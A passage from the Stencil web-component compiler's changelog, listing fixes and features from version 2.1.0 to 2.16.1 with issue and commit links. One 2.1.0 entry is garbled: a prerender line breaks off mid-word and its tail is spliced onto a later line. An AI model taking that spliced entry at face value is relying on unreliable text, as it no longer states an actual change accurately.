([9fe3f15](https://github.com/stenciljs/core/commit/9fe3f1589c51e7f7e93777fa8291cb58b75818d2))\n\n\n\n## 🎻 [2.16.1](https://github.com/stenciljs/core/compare/v2.16.1-0...v2.16.1) (2022-06-03)\n\n### Bug Fixes\n\n* **config:** fix faulty build output w/ `--esm` flag ([#3404](https://github.com/stenciljs/core/issues/3404)) ([a847a6e](https://github.com/stenciljs/core/commit/a847a6e457685a7b91efd09117503f012f0af5e3))\n\n\n\n## 🌸 [2.16.1-0](https://github.com/stenciljs/core/compare/v2.16.0...v2.16.1-0) (2022-06-03)\n\n\n### Bug Fixes\n\n* **config:** fix faulty build output w/ `--esm` flag ([#3404](https://github.com/stenciljs/core/issues/3404)) ([a847a6e](https://github.com/stenciljs/core/commit/a847a6e457685a7b91efd09117503f012f0af5e3))\n\n\n\n# 🎉 [2.16.0](https://github.com/stenciljs/core/compare/v2.15.2...v2.16.0) (2022-05-31)\n\n\n### Bug Fixes\n\n* **bundler:** prevent vite bundling errors in downstream projects ([#3349](https://github.com/stenciljs/core/issues/3349)) ([4c8d8c0](https://github.com/stenciljs/core/commit/4c8d8c02d4f45047f50a11f55c7e7225c7272ab1))\n* **compiler:** prevent double full builds ([#3374](https://github.com/stenciljs/core/issues/3374)) ([267e3dd](https://github.com/stenciljs/core/commit/267e3dd03887eafa7b58f4d4efae9bc833cd6581))\n* **mock-doc:** handle children in contains() ([#3363](https://github.com/stenciljs/core/issues/3363)) ([2f8a6c0](https://github.com/stenciljs/core/commit/2f8a6c01b3f32be95fdfd8190d87608116775b79))\n\n\n### Features\n\n* **compiler:** generate component custom event types with HTML target ([#3296](https://github.com/stenciljs/core/issues/3296)) ([846740f](https://github.com/stenciljs/core/commit/846740fa1f074e401fa20be90d64e87f8db99c88))\n\n\n\n## 🎢 [2.15.2](https://github.com/stenciljs/core/compare/v2.15.1...v2.15.2) (2022-05-09)\n\n\n### Bug Fixes\n\n* **cli:** don't generate files if they would overwrite existing code ([#3326](https://github.com/stenciljs/core/issues/3326)) ([9fc3a44](https://github.com/stenciljs/core/commit/9fc3a44a17f9b97e19ea62b6188d3611bcf2f9d4))\n* **sys:** make NodeLazyRequire complain if package versions aren't right ([#3346](https://github.com/stenciljs/core/issues/3346)) ([b7adc33](https://github.com/stenciljs/core/commit/b7adc33fc25956e9562b56edb3ce8a1b671eb53d))\n* **sys:** tweak NodeLazyRequire logic around too-high-versions errors ([#3347](https://github.com/stenciljs/core/issues/3347)) ([9bfef1a](https://github.com/stenciljs/core/commit/9bfef1ad4637fe82c349eadbd9153e04417b1337))\n* **types:** components.d.ts type resolution for duplicate types ([#3337](https://github.com/stenciljs/core/issues/3337)) ([31eae6e](https://github.com/stenciljs/core/commit/31eae6eb027904163cc52f73eb6811dc98006559))\n\n\n\n## 🐼 [2.15.1](https://github.com/stenciljs/core/compare/v2.15.0...v2.15.1) (2022-04-18)\n\n\n### Bug Fixes\n\n* **mock-doc:** Add missing DOMParser stub to MockWindow ([#3279](https://github.com/stenciljs/core/issues/3279)) ([f88fb2e](https://github.com/stenciljs/core/commit/f88fb2e04ff4f30c926a5795549b2939dcc3b167))\n* **tests:** ensure jest respects passed flags ([#3329](https://github.com/stenciljs/core/issues/3329)) ([c6a1d42](https://github.com/stenciljs/core/commit/c6a1d424b31df9c2c3077612545256ce5dcf88e2))\n\n\n\n# ⛷ [2.15.0](https://github.com/stenciljs/core/compare/v2.14.2...v2.15.0) (2022-03-28)\n\n\n### Bug Fixes\n\n* **testing:** handle snapshot filepaths ([#3282](https://github.com/stenciljs/core/issues/3282)) ([d164dba](https://github.com/stenciljs/core/commit/d164dba7d7f7769064716409bd57308e1777e4c0))\n* **types:** generate types for dist-custom-elements ([#3270](https://github.com/stenciljs/core/pull/3270)) ([04fb830](https://github.com/stenciljs/core/commit/04fb83090c968010a400cee96b129f067c5cb6f0))\n\n\n\n## 😃 [2.14.2](https://github.com/stenciljs/core/compare/v2.14.1...v2.14.2) (2022-03-10)\n\n\n### Bug Fixes\n\n* **testing:** fix test regex for 'e2e.ts' ([#3277](https://github.com/stenciljs/core/issues/3277)) ([cf42114](https://github.com/stenciljs/core/commit/cf42114edf04520c11421c60673e4f03be22df49))\n\n\n### Features\n\n* **node:** add warning of future node support ([#3271](https://github.com/stenciljs/core/issues/3271)) ([11e174e](https://github.com/stenciljs/core/commit/11e174edbe7e86a5b8b5110345bef0592c27214b))\n\n\n\n## 🐦 [2.14.1](https://github.com/stenciljs/core/compare/v2.14.0...v2.14.1) (2022-03-07)\n\n\n### Bug Fixes\n\n* **bundling:** allow proper webpack treeshaking ([#3248](https://github.com/stenciljs/core/issues/3248)) ([5dccc85](https://github.com/stenciljs/core/commit/5dccc856cdaf19592d2a08f0f9b945b8bf2c4f7c))\n* **renderer:** prevent infinite loops for NaN ([#3254](https://github.com/stenciljs/core/issues/3254)) ([e2d4e16](https://github.com/stenciljs/core/commit/e2d4e1693a6aa253d7cca32649d34dfda78dac8d))\n* **testing:** don't run tests against non-test files ([#3237](https://github.com/stenciljs/core/issues/3237)) ([c6fda39](https://github.com/stenciljs/core/commit/c6fda394f256eb3be68a1a6ff2f0c2ef0193958f))\n\n\n\n# 💫 [2.14.0](https://github.com/stenciljs/core/compare/v2.13.0...v2.14.0) (2022-02-14)\n\n\n### Features\n\n* **typescript:** typescript 4.5 support ([#3205](https://github.com/stenciljs/core/issues/3205)) ([806012e](https://github.com/stenciljs/core/commit/806012ebc38f611ccb7a687938af839577c85ea8))\n\n\n\n# 🍣 [2.13.0](https://github.com/stenciljs/core/compare/v2.12.1...v2.13.0) (2022-01-24)\n\n\n### Features\n\n* **mock-doc:** add simple MockEvent#composedPath() impl ([#3204](https://github.com/stenciljs/core/issues/3204)) ([7b47d96](https://github.com/stenciljs/core/commit/7b47d96e1e3c6c821d5c416fbe987646b4cd1551))\n* **test:** jest 27 support ([#3189](https://github.com/stenciljs/core/issues/3189)) ([10efeb6](https://github.com/stenciljs/core/commit/10efeb6f74888f05a13a47d8afc00b5e83a3f3db))\n\n\n\n## 🍔 [2.12.1](https://github.com/stenciljs/core/compare/v2.12.0...v2.12.1) (2022-01-04)\n\n\n### Bug Fixes\n\n* **vdom:** properly warn for step attr on input ([#3196](https://github.com/stenciljs/core/issues/3196)) ([7ffc02e](https://github.com/stenciljs/core/commit/7ffc02e5d07b05de45cbaf4f0cce3f3e165b3eb0))\n\n\n### Features\n\n* **typings:** add optional key and ref to slot elements ([#3177](https://github.com/stenciljs/core/issues/3177)) ([ce27a18](https://github.com/stenciljs/core/commit/ce27a18ba8ecdb2cc5401470747a7e9d91e40a44))\n\n\n### Reverts\n\n* **ionitron:** holiday triage 2020 ([#3199](https://github.com/stenciljs/core/issues/3199)) ([d95d43e](https://github.com/stenciljs/core/commit/d95d43e3055f3fe45b67be2c068f6072e83482c4)), closes [#3187](https://github.com/stenciljs/core/issues/3187)\n\n\n\n# ⛸ [2.12.0](https://github.com/stenciljs/core/compare/v2.11.0...v2.12.0) (2021-12-13)\n\n\n### Bug Fixes\n\n* **cli:** wait for help task to finish before exiting ([#3160](https://github.com/stenciljs/core/issues/3160)) ([f10cee1](https://github.com/stenciljs/core/commit/f10cee12a8d00e7581fcf13216f01ded46227f49))\n* **mock-doc:** make Node.contains() return true for self ([#3150](https://github.com/stenciljs/core/issues/3150)) ([f164407](https://github.com/stenciljs/core/commit/f164407f7463faba7a3c39afca942c2a26210b82))\n* **mock-doc:** allow urls as css values ([#2857](https://github.com/stenciljs/core/issues/2857)) ([6faa5f2](https://github.com/stenciljs/core/commit/6faa5f2f196ff786ffc4b818ac09708ba5de9b35))\n* **sourcemaps:** do not encode inline sourcemaps ([#3163](https://github.com/stenciljs/core/issues/3163)) ([b2eb083](https://github.com/stenciljs/core/commit/b2eb083306802645ee6e31987917dea942882e46)), closes [#3147](https://github.com/stenciljs/core/issues/3147)\n\n\n### Features\n\n* **dist-custom-elements-bundle:** add deprecation warning ([#3167](https://github.com/stenciljs/core/issues/3167)) ([c7b07c6](https://github.com/stenciljs/core/commit/c7b07c65265c7d4715f29835632cc6538ea63585))\n\n\n\n# 🐌 [2.11.0](https://github.com/stenciljs/core/compare/v2.11.0-0...v2.11.0) (2021-11-22)\n\n\n### Bug Fixes\n\n* **dist-custom-elements:** add ssr checks ([#3131](https://github.com/stenciljs/core/issues/3131)) ([9a232ea](https://github.com/stenciljs/core/commit/9a232ea368324f49993bd079cfdbc344abd0c69e))\n\n\n### Features\n\n* **css:** account for escaped ':' in css selectors ([#3087](https://github.com/stenciljs/core/issues/3087)) ([6000681](https://github.com/stenciljs/core/commit/600068168c86dba9ea610b5e8a0dbba00ff4d1f4))\n\n\n\n# 🚟 [2.11.0-0](https://github.com/stenciljs/core/compare/v2.10.0...v2.11.0-0) (2021-11-09)\n\n\n### Bug Fixes\n\n* **dist-custom-elements:** add ssr checks ([#3131](https://github.com/stenciljs/core/issues/3131)) ([9a232ea](https://github.com/stenciljs/core/commit/9a232ea368324f49993bd079cfdbc344abd0c69e))\n\n\n### Features\n\n* **css:** account for escaped ':' in css selectors ([#3087](https://github.com/stenciljs/core/issues/3087)) ([6000681](https://github.com/stenciljs/core/commit/600068168c86dba9ea610b5e8a0dbba00ff4d1f4))\n\n\n\n# 🦁 [2.10.0](https://github.com/stenciljs/core/compare/v2.9.0...v2.10.0) (2021-11-01)\n\n\n### Bug Fixes\n\n* **compiler:** add delegatesFocus to custom elements targets ([#3117](https://github.com/stenciljs/core/issues/3117)) ([2ffb503](https://github.com/stenciljs/core/commit/2ffb5033e8eacc3eb8c38f6d8e3be4f91d1b1f22))\n* **runtime:** prevent unnecessary re-renders when reflecting props ([#3106](https://github.com/stenciljs/core/issues/3106)) ([63dbb47](https://github.com/stenciljs/core/commit/63dbb47a14cc840c8d37f1bf7ce315d306194788))\n\n\n### Features\n\n* **sourcemap:** enable rfc-3986 urls ([#3100](https://github.com/stenciljs/core/issues/3100)) ([4b2018a](https://github.com/stenciljs/core/commit/4b2018a99de1ecbc155bb1122414bdb36014bed1))\n* **typescript:** update to typescript 4.3.5 ([#3103](https://github.com/stenciljs/core/issues/3103)) ([e1d4e66](https://github.com/stenciljs/core/commit/e1d4e66462102f01395da0b092dad66e39b6a858))\n\n\n\n# 🚙 [2.9.0](https://github.com/stenciljs/core/compare/v2.9.0-0...v2.9.0) (2021-10-11)\n\n\n### Bug Fixes\n\n* **docs:** fix docs generation for method return values ([#3064](https://github.com/stenciljs/core/issues/3064)) ([dc2f6fb](https://github.com/stenciljs/core/commit/dc2f6fb64c4a48c2e1247de2c5411c5bcc10dfd4))\n* **output-targets:** restore stats output target ([#3030](https://github.com/stenciljs/core/issues/3030)) ([c76dca7](https://github.com/stenciljs/core/commit/c76dca7f2c01e73e1da691e45ba9c009724660d3))\n* **preamble:** restore preamble functionality ([#3085](https://github.com/stenciljs/core/issues/3085)) ([39caa8c](https://github.com/stenciljs/core/commit/39caa8cd0ff401c932eda2cc0b664ac533d2330a))\n* **test:** attempt to fix flaky prerender test ([#3095](https://github.com/stenciljs/core/issues/3095)) ([16b8ea4](https://github.com/stenciljs/core/commit/16b8ea4dabb22024872a38bc58ba1dcf1c7cc25b))\n\n\n### Features\n\n* **compiler:** consumer sourcemap support ([#3005](https://github.com/stenciljs/core/issues/3005)) ([bb3bf90](https://github.com/stenciljs/core/commit/bb3bf900884c1cc5904df16f90c1460220c1a717))\n* **deno:** remove deno from codebase ([#3067](https://github.com/stenciljs/core/issues/3067)) ([037b228](https://github.com/stenciljs/core/commit/037b228b2ffb62385a15081a84b82a345d55d880))\n* **dist-custom-elements:** automatically import and define dependencies ([#3039](https://github.com/stenciljs/core/issues/3039)) ([6987e43](https://github.com/stenciljs/core/commit/6987e4321b9dfd10710aa27a55e53e983e867729))\n* **mock-doc:** add pathname to mock anchors ([#3090](https://github.com/stenciljs/core/issues/3090)) ([99428c7](https://github.com/stenciljs/core/commit/99428c79c5202d2ffc9d6961060f105696623d6b))\n* **telemetry:** adding yarn 1 support, sanitizing data pre-flight ([#3082](https://github.com/stenciljs/core/issues/3082)) ([07f69cb](https://github.com/stenciljs/core/commit/07f69cb5b232333103cc4edaf3cf96bd36c2e8bc))\n\n\n# ⚡️ [2.9.0-0](https://github.com/stenciljs/core/compare/v2.8.1...v2.9.0-0) (2021-10-05)\n\n\n### Bug Fixes\n\n* **docs:** fix docs generation for method return values ([#3064](https://github.com/stenciljs/core/issues/3064)) ([dc2f6fb](https://github.com/stenciljs/core/commit/dc2f6fb64c4a48c2e1247de2c5411c5bcc10dfd4))\n* **output-targets:** restore stats output target ([#3030](https://github.com/stenciljs/core/issues/3030)) ([c76dca7](https://github.com/stenciljs/core/commit/c76dca7f2c01e73e1da691e45ba9c009724660d3))\n* **preamble:** restore preamble functionality ([#3085](https://github.com/stenciljs/core/issues/3085)) ([39caa8c](https://github.com/stenciljs/core/commit/39caa8cd0ff401c932eda2cc0b664ac533d2330a))\n\n\n### Features\n\n* **dist-custom-elements:** automatically import and define dependencies ([#3039](https://github.com/stenciljs/core/issues/3039)) ([6987e43](https://github.com/stenciljs/core/commit/6987e4321b9dfd10710aa27a55e53e983e867729))\n* **telemetry:** adding yarn 1 support, sanitizing data pre-flight ([#3082](https://github.com/stenciljs/core/issues/3082)) ([07f69cb](https://github.com/stenciljs/core/commit/07f69cb5b232333103cc4edaf3cf96bd36c2e8bc))\n\n\n\n## 🐱 [2.8.1](https://github.com/stenciljs/core/compare/v2.8.0...v2.8.1) (2021-09-15)\n\n### Bug Fixes\n\n* **runtime:** textContent for scoped components with slots ([#3047](https://github.com/stenciljs/core/issues/3047)) ([9fc7657](https://github.com/stenciljs/core/commit/9fc76579a3a3e1127ba43b354a572ac40eda3770))\n\n# 🎲 [2.8.0](https://github.com/stenciljs/core/compare/v2.7.1...v2.8.0) (2021-09-01)\n\n### Bug Fixes\n\n* **types:** add referrerPolicy to AnchorHTMLAttributes ([#3006](https://github.com/stenciljs/core/issues/3006)) ([4f7c073](https://github.com/stenciljs/core/commit/4f7c073311192c8601bcedcacc9e8daef2b349e3))\n* **docs:** update app-es5-disabled.ts message ([#2993](https://github.com/stenciljs/core/issues/2993)) ([4f7c073](https://github.com/stenciljs/core/commit/a6ebc51fd71a98898d99cde45c9e5a14585a44c7))\n\n### Features\n\n* **compiler:** allow disabling the injected hydration stylesheet ([#2989](https://github.com/stenciljs/core/issues/2989)) ([a3d2928](https://github.com/stenciljs/core/commit/a3d2928dbc31b786aa273020b88f09d107b05474))\n\n## 🐔 [2.7.1](https://github.com/stenciljs/core/compare/v2.7-0...v2.7.1) (2021-08-24)\n\n### Bug Fixes\n\n* **ci:** vendor deno for builds ([#3020](https://github.com/stenciljs/core/issues/3020)) ([6d8a61d](https://github.com/stenciljs/core/commit/6d8a61d166859ca165d85b7c7cea35b99acc53ee))\n* **compiler:** solve issue where worker thread didn't have access to fetch ([#3012](https://github.com/stenciljs/core/issues/3012)) ([925d4e9](https://github.com/stenciljs/core/commit/925d4e924264df424c3519f4c0a91b22356a2ea6))\n* **telemetry:** handle malformed telemetry tokens ([#3014](https://github.com/stenciljs/core/issues/3014)) ([ff75a47](https://github.com/stenciljs/core/commit/ff75a473279aa7b59d3dadf308566df361c74f71))\n\n## ⛰ [2.7.1-0](https://github.com/stenciljs/core/compare/v2.7.0...v2.7.1-0) (2021-08-24)\n\n### Bug Fixes\n\n* **ci:** vendor deno for builds ([#3020](https://github.com/stenciljs/core/issues/3020)) ([6d8a61d](https://github.com/stenciljs/core/commit/6d8a61d166859ca165d85b7c7cea35b99acc53ee))\n* **compiler:** solve issue where worker thread didn't have access to fetch ([#3012](https://github.com/stenciljs/core/issues/3012)) ([925d4e9](https://github.com/stenciljs/core/commit/925d4e924264df424c3519f4c0a91b22356a2ea6))\n* **telemetry:** handle malformed telemetry tokens ([#3014](https://github.com/stenciljs/core/issues/3014)) ([ff75a47](https://github.com/stenciljs/core/commit/ff75a473279aa7b59d3dadf308566df361c74f71))\n\n# 🌟 [2.7.0](https://github.com/stenciljs/core/compare/v2.6.0...v2.7.0) (2021-08-19)\n\n### Bug Fixes\n\n* **dev-server:** allow file change events to pass through ([#3001](https://github.com/stenciljs/core/issues/3001)) ([b84dd11](https://github.com/stenciljs/core/commit/b84dd1124e6171cdb6be58f4cc703b2e956b8fc8))\n* **dev-server:** allow web server to be run in Docker ([#2973](https://github.com/stenciljs/core/issues/2973)) ([42cdeae](https://github.com/stenciljs/core/commit/42cdeaec424fb053648a5ae97e611a7c58d69788))\n* **dev-server:** prevent crash with Safari 15 ([ed173cd](https://github.com/stenciljs/core/commit/ed173cdbbe53342338aa8d6b6fa305fbbf1f74ab))\n* **runtime:** prevent watchers from prematurely firing in custom elements build ([#2971](https://github.com/stenciljs/core/issues/2971)) ([8c375bd](https://github.com/stenciljs/core/commit/8c375bd4bc1b55e269db69af542fa404714c9b26))\n* **runtime:** prevent shadowing on non-upgraded components ([#2949](https://github.com/stenciljs/core/issues/2949)) ([afbd129](https://github.com/stenciljs/core/commit/afbd129be49d636a09c986e97ae85e3f9cf5080c))\n* **testing:** puppeteer v10 support ([#2939](https://github.com/stenciljs/core/issues/2939)) ([09afd3f](https://github.com/stenciljs/core/commit/09afd3fed1ad1c294d6c1677c038287212b721d2))\n\n### Features\n\n* **cli:**  add telemetry and cli features ([#2964](https://github.com/stenciljs/core/issues/2964)) ([1381cc7](https://github.com/stenciljs/core/commit/1381cc7e920d7d9880d046693762b0f2348c8b5d))\n* **cli:**  writing and reading the ionic config file ([#2963](https://github.com/stenciljs/core/issues/2963)) ([f981812](https://github.com/stenciljs/core/commit/f981812c3378310a41ce53f3020316321527f62a))\n\n# 🕹 [2.7.0-0](https://github.com/stenciljs/core/compare/v2.6.0...v2.7.0-0) (2021-07-07)\n\n### Bug Fixes\n\n* **runtime:** prevent shadowing on non-upgraded components ([#2949](https://github.com/stenciljs/core/issues/2949)) ([afbd129](https://github.com/stenciljs/core/commit/afbd129be49d636a09c986e97ae85e3f9cf5080c))\n* **testing:** puppeteer v10 support ([#2939](https://github.com/stenciljs/core/issues/2939)) ([09afd3f](https://github.com/stenciljs/core/commit/09afd3fed1ad1c294d6c1677c038287212b721d2))\n\n# 📟 [2.6.0](https://github.com/stenciljs/core/compare/v2.6.0-0...v2.6.0) (2021-06-02)\n\n### Features\n\n- **platform:** add setPlatformHelpers() api ([f09abe6](https://github.com/stenciljs/core/commit/f09abe6455887025d508e645e7c8c024a5c42fa2))\n\n## 🛥 [2.5.2](https://github.com/stenciljs/core/compare/v2.5.1...v2.5.2) (2021-03-30)\n\n### Bug Fixes\n\n- worker support for safari ([#2869](https://github.com/stenciljs/core/issues/2869)) ([f91548f](https://github.com/stenciljs/core/commit/f91548fa90da39937a8f7b7320134a2ca8db71e0))\n\n## 🐭 [2.5.1](https://github.com/stenciljs/core/compare/v2.5.0...v2.5.1) (2021-03-25)\n\n### Bug Fixes\n\n- worker transferable work both ways ([#2866](https://github.com/stenciljs/core/issues/2866)) ([46ee1a2](https://github.com/stenciljs/core/commit/46ee1a2520b31636e2f58ea37ced71c852a5d2e8))\n- **worker-plugin:** transfer OffscreenCanvas ([#2849](https://github.com/stenciljs/core/issues/2849)) ([969da47](https://github.com/stenciljs/core/commit/969da47ef752cfb74a84f0bb7cea017854205071))\n\n# 🎠 [2.5.0](https://github.com/stenciljs/core/compare/v2.4.0...v2.5.0) (2021-03-22)\n\n### Features\n\n- **dev-server:** provide custom request listener ([eec7651](https://github.com/stenciljs/core/commit/eec7651fa723658c2c8d853dc44b6316709b2317))\n- **typescript:** update to typescript 4.2.3 ([50d4afb](https://github.com/stenciljs/core/commit/50d4afbb78a0d1aa50f948031906fd636f0b2e6a))\n- **rollup:** update to rollup 2.42.3 ([0af5d6a](https://github.com/stenciljs/core/commit/0af5d6a679432ff9e530098b12ca2341f4c1391a))\n- **terser:** update to terser 5.6.1 ([3a480f5](https://github.com/stenciljs/core/commit/3a480f541dbfde6751753cbf0954c62116c4a8ce))\n- **autoprefixer:** update to autoprefixer 10.2.5 and postcss 8.2.8 ([9c6f8d5](https://github.com/stenciljs/core/commit/9c6f8d57a024faa258cc188bbba3c74a4d760b91))\n- **sizzle:** update to sizzle 2.3.6 ([4f94a13](https://github.com/stenciljs/core/commit/4f94a13cc2b0e6c3cf42de429874773e3481e007))\n- **graceful-fs:** update to graceful-fs 4.2.6 ([c15ba1c](https://github.com/stenciljs/core/commit/c15ba1c9267a88abb4b020e8e880f39c5c6d3372))\n- **mime-db:** update to mime-db 1.46.0 ([27db7ae](https://github.com/stenciljs/core/commit/27db7ae8f8facc5abc5c92f6868c45bb4b068cc1))\n- **open:** update to open 8.0.4 ([0208698](https://github.com/stenciljs/core/commit/0208698cf994a5ed611a2d950faa4e268e5de137))\n\n### Bug Fixes\n\n- **mock-doc:** set document.dir property from document.documentElement ([9a65494](https://github.com/stenciljs/core/commit/9a6549471e4bc48edfb483565505bc6cc15eddc9))\n\n# 📷 [2.4.0](https://github.com/stenciljs/core/compare/v2.3.0...v2.4.0) (2021-01-28)\n\n### Features\n\n- **custom-elements:** enable dist-custom-elements output ([fc70564](https://github.com/stenciljs/core/commit/fc70564b8ab551f19b76b4fc034557d17b86643c))\n- **output:** includeGlobalScripts option for custom elements ([e7fa9c8](https://github.com/stenciljs/core/commit/e7fa9c8d175dc1b721c449cdf0efd7b326e91b59))\n- **setPlatformOptions:** add setPlatformOptions for ce builds ([12fec21](https://github.com/stenciljs/core/commit/12fec21b2eb270cf2a8c30fa9deb09e8a49da5fd))\n- **typescript:** update to typescript 4.1.3 ([adf9c93](https://github.com/stenciljs/core/commit/adf9c93dfed04a91dc4cf29ac5a09eebd523e96c))\n\n* TypeScript 4.1.3\n* Rollup 2.35.1\n* Terser 5.5.1\n* Puppeteer 5.4.2\n\n### Bug Fixes\n\n- **events:** map onFocusIn/Out to correct events ([#2745](https://github.com/stenciljs/core/issues/2745)) ([2dc930f](https://github.com/stenciljs/core/commit/2dc930fdc6b6a64ca99e15edf0fe3b26d129d2e2))\n- **vdom:** prevent error for parentless nodes ([#2761](https://github.com/stenciljs/core/issues/2761)) ([a08f3a8](https://github.com/stenciljs/core/commit/a08f3a82b5b472ec605aa07a8df53d976336da44))\n- **devserver:** expose startupTimeout ([0046051](https://github.com/stenciljs/core/commit/004605114d7996d1829348d81ee1fef7afcffc0c))\n- **runtime:** don't render when crashing ([#2746](https://github.com/stenciljs/core/issues/2746)) ([c91e0c8](https://github.com/stenciljs/core/commit/c91e0c8fd16b4709533c8023b90bd68c43f31b2d))\n- **vdom:** hide fallback slot when content present in scoped/non-shadow components ([#2650](https://github.com/stenciljs/core/issues/2650)) ([2ae6f5f](https://github.com/stenciljs/core/commit/2ae6f5f2a2b0950b8d7890e1a3b3b59212dc7540))\n- **worker:** update \\*?worker declaration ([#2754](https://github.com/stenciljs/core/issues/2754)) ([7b96ada](https://github.com/stenciljs/core/commit/7b96ada03e1cd7bd620f7cde6f36777cd2a5d514))\n- **mock-doc:** make MockAttributeMap iterable ([#2788](https://github.com/stenciljs/core/issues/2788)) ([1aa9cae](https://github.com/stenciljs/core/commit/1aa9cae288288f84a85b9e636c09502544431458))\n- show warning when immutable props change ([9c18fa0](https://github.com/stenciljs/core/commit/9c18fa0da217be0bd9e28672f2a0b3c9599de2db)), closes [#2433](https://github.com/stenciljs/core/issues/2433)\n- **client:** test for presence of replace method of CSSStyleSheet ([#2773](https://github.com/stenciljs/core/issues/2773)) ([67e0ea8](https://github.com/stenciljs/core/commit/67e0ea841985cdc506edd03aef7c5678fe5a0fae))\n- **bundles:** add sideEffects false to package ([d3bc9e6](https://github.com/stenciljs/core/commit/d3bc9e67fb806d97aa5b9d57c725fbb0b45a7d85))\n- **autoprefixer:** update autoprefixer ([75acfca](https://github.com/stenciljs/core/commit/75acfcab0c3ee767a3f75d17b224f866d0c0e1f9))\n- **hydrate:** check for fetch patch ([16a3330](https://github.com/stenciljs/core/commit/16a333014e6f453c5383d7c9e0bcce4ca0aa7362))\n- **polyfill:** convert checkIfURLIsSupported to function expression ([#2799](https://github.com/stenciljs/core/issues/2799)) ([f8618d6](https://github.com/stenciljs/core/commit/f8618d6d2db00c3735fbb585843bf8cd7e8eb288))\n\n# ⛵️ [2.3.0](https://github.com/stenciljs/core/compare/v2.2.0...v2.3.0) (2020-11-06)\n\n### Features\n\n- **config:** env ([#2732](https://github.com/stenciljs/core/issues/2732)) ([ab6dff1](https://github.com/stenciljs/core/commit/ab6dff1a55bd746335f3f3cbc33af9a94788c10a))\n- **devserver:** dev server startup timeout configurable ([#2719](https://github.com/stenciljs/core/issues/2719)) ([455adb3](https://github.com/stenciljs/core/commit/455adb32662edb2e40dac543842e3896dcb3a08a))\n- **jest:** update to jest 26.6.3 ([b6ca680](https://github.com/stenciljs/core/commit/b6ca680428b2b4b776a163f001963424a7b69bc2))\n- **rollup:** update to rollup 2.33.1 ([bb1f55e](https://github.com/stenciljs/core/commit/bb1f55e587d965ec7c81cc951b068cb5829f50e3))\n\n### Bug Fixes\n\n- **path:** export win32 ([a536654](https://github.com/stenciljs/core/commit/a536654c58851a59ce07fd32896df24b0d4e96ce))\n\n# 🍉 [2.2.0](https://github.com/stenciljs/core/compare/v2.1.2...v2.2.0) (2020-10-27)\n\n### Bug Fixes\n\n- **prerender:** cache writing hashed assets ([96c44f8](https://github.com/stenciljs/core/commit/96c44f8edf8605c9b474e89a012b462bf1d9de47))\n- **prerender:** fix component graph tmp file ([bb9b6a8](https://github.com/stenciljs/core/commit/bb9b6a8f157dd9978b0793a03869490d3cf009ea))\n\n### Features\n\n- **jest:** update to jest 26.6.1 ([aafb1a3](https://github.com/stenciljs/core/commit/aafb1a3f3be6d860b968bcbe9efcf28da9328d79))\n- **prerender:** do not inline external styles by default ([044aa96](https://github.com/stenciljs/core/commit/044aa963347aa68be1e5af60fee9c1c9c1f208d7))\n- **puppeteer:** update to puppeteer 5.4.1 ([cf8847b](https://github.com/stenciljs/core/commit/cf8847b4da78ed8c1f026a850b9a9e7bf5ee0521))\n- **rollup:** update to rollup 2.32.1 ([83236f9](https://github.com/stenciljs/core/commit/83236f9bc3185772c301f0ddbc2cc0663e578d7e))\n- **terser:** update to terser 5.3.8 ([46a0207](https://github.com/stenciljs/core/commit/46a0207bac586bc17c3f8e7a7a04c9aa7fd8613b))\n- **typescript:** update to typescript 4.0.5 ([0ca07a1](https://github.com/stenciljs/core/commit/0ca07a19e5ea87a14b40b2d592cdef74a350bfae))\n\n## 🍗 [2.1.2](https://github.com/stenciljs/core/compare/v2.1.1...v2.1.2) (2020-10-26)\n\n### Bug Fixes\n\n- **devserver:** fix dev server static data with trailing slash ([d70423d](https://github.com/stenciljs/core/commit/d70423d9c0eac832128adb94adea886988747315))\n- **hydrate:** do not add html comments inside inline scripts ([3c16737](https://github.com/stenciljs/core/commit/3c167374f15571e990eb8ff66321a7019ea2c6fe))\n\n## 🎂 [2.1.1](https://github.com/stenciljs/core/compare/v2.1.0...v2.1.1) (2020-10-23)\n\n### Bug Fixes\n\n- **prerender:** fix slot relocation and inline styles ([2af380f](https://github.com/stenciljs/core/commit/2af380f7e5f403ff71998ba6a34ac386e4468cf7))\n- **worker:** capture worker errors ([#2709](https://github.com/stenciljs/core/issues/2709)) ([dcd49c0](https://github.com/stenciljs/core/commit/dcd49c0fedad464bd9e482db8fd98ed28f6ebd69))\n\n# 🖍 [2.1.0](https://github.com/stenciljs/core/compare/v2.0.3...v2.1.0) (2020-10-20)\n\n### Features\n\n- TypeScript 4.0.3\n- Rollup 2.32.0\n- Terser 5.3.7\n- Jest 26.6.0\n- Puppeteer 5.3.1\n- Open 7.3.0\n- Node Fetch 2.6.1\n\n* **prerender:** hash assets and add version querystring ([e20c284](https://github.com/stenciljs/core/commit/e20c284d74a3366f8b5c31c11037334e4a138316))\n* **prerender:** hash assets in page.state static content ([baeb842](https://github.com/stenciljs/core/commit/baeb842a805972b81ff662e3bb48e7582501c643))\n* **prerender:** add buildId, hydrate externals, DOMContentLoaded ([4d49c63](https://github.com/stenciljs/core/commit/4d49c636bb7764c500bc4c87f07a161ea20630a2))\n* **prerender:** server-side only bundle modules w/ .server directory ([d8fcb60](https://github.com/stenciljs/core/commit/d8fcb60caedff6ac4a8b166e51f14143abe0c73a))\n* **prerender:** write page.state.json data from hydrat\n* add setErrorHandler() ([#2704](https://github.com/stenciljs/core/issues/2704)) ([5d2780a](https://github.com/stenciljs/core/commit/5d2780ac98cc046a71f8b766e4ffd4e750c3a903))\n* **docs-custom:** add config argument ([#2696](https://github.com/stenciljs/core/issues/2696)) ([d285879](https://github.com/stenciljs/core/commit/d285879ec596f42d1542152d42afa1619e27ff62))\n* **sys:** add encoding option to readFile ([99ef518](https://github.com/stenciljs/core/commit/99ef5184e86101ed6695bfc0af3c4e8ee54ecd51))\n* **sys:** add sys.generateFileHash() for more efficient file hashing ([d762c6d](https://github.com/stenciljs/core/commit/d762c6d082d6e794eab7697c228c1456a4417f41))\n* **dev-server:** add ssr option for dev server for prerending dev ([2574094](https://github.com/stenciljs/core/commit/2574094df12a22fc699c53242cbfbd84ab712801))\n* **e2e:** e2e timeout configurable ([8b69731](https://github.com/stenciljs/core/commit/8b69731080efd5febab83620e6624870e4f45dc5)), closes [#2662](https://github.com/stenciljs/core/issues/2662)\n* **nodeRequire:** export nodeRequire utility from compiler ([10ea2fb](https://github.com/stenciljs/core/commit/10ea2fbbf291409a16a6a8fe43d54534d0a94878))e builds ([a2c93f6](https://github.com/stenciljs/core/commit/a2c93f6a989bfcc44e07e0a15aa4f8ba284e3f6b))\n\n### Bug Fixes\n\n- **hmr:** reload from changed css import in global styles 